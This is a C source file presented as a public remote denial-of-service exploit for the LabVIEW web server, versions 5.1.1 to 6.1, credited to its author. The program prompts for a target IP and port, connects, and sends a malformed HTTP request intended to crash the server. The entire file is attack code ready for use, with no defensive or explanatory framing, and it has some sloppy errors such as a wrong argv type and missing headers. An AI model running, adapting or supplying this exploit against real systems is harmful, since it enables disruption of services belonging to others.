#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>

  /*This is a remote DoS exploit for LabVIEW web server.
    Remember that the logging function must be enabled
    for this shit to work, and the version is 5.1.1 - 6.1(which I think is the newest realase)
    **THIS*IS*A*PUBLIC*EXPLOIT
      *IF YOU MODIFY THIS CODE PLEASE SEND IT TO: bl0wfi5h@hotmail.com* */
      
int main(int argc, char** argv[])
{     
     int sockfd;
     struct sockaddr_in dest_addr;
     
     char ipaddress[18];
     int portnumber;
     
     char dosstring[30]= "GET\\s/\\sHTTP/1.0\\n\\n"; //The dOS string
     int bytes_sent;
           
     printf("\nSelect what server you want TO attack(IP): ");
     scanf("%s", ipaddress);
     printf("\nSelect the server port(default www port 80): ");
     scanf("%d", &portnumber);
     dest_addr.sin_family = AF_INET;
     dest_addr.sin_port   = htons(portnumber);
     dest_addr.sin_addr.s_addr = inet_addr(ipaddress);
     memset(&(dest_addr.sin_zero), '\0',8);

     if((sockfd = socket(AF_INET, SOCK_STREAM, 0))== -1)
     {
       printf("Socket Error");
       exit(1);
     }
     
     connect(sockfd, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr));
     
     bytes_sent = send(sockfd, dosstring,sizeof(dosstring), 0);
     
     for(; bytes_sent == 0;)
     {
       printf("problem sending string, check if the host is up");
       exit(1);
     }
     printf("\nDONE! You have send: ");
     printf("%d", bytes_sent);
     printf(" BYTES!");
     close(sockfd);
     
     printf("\n\n:::EXPLOIT:CODE:BY:JONAS:NYBERG:\n\n");
     printf("\nCONTACT INFO: bl0wfi5h@hotmail.com\n");
     return 0;
     

}